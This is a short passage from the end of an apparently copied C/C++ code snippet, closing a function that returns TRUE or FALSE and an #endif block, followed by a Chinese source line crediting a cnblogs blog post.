FALSE; } return TRUE; } #endif
原文:http://www.cnblogs.com/jujian/p/3585580.html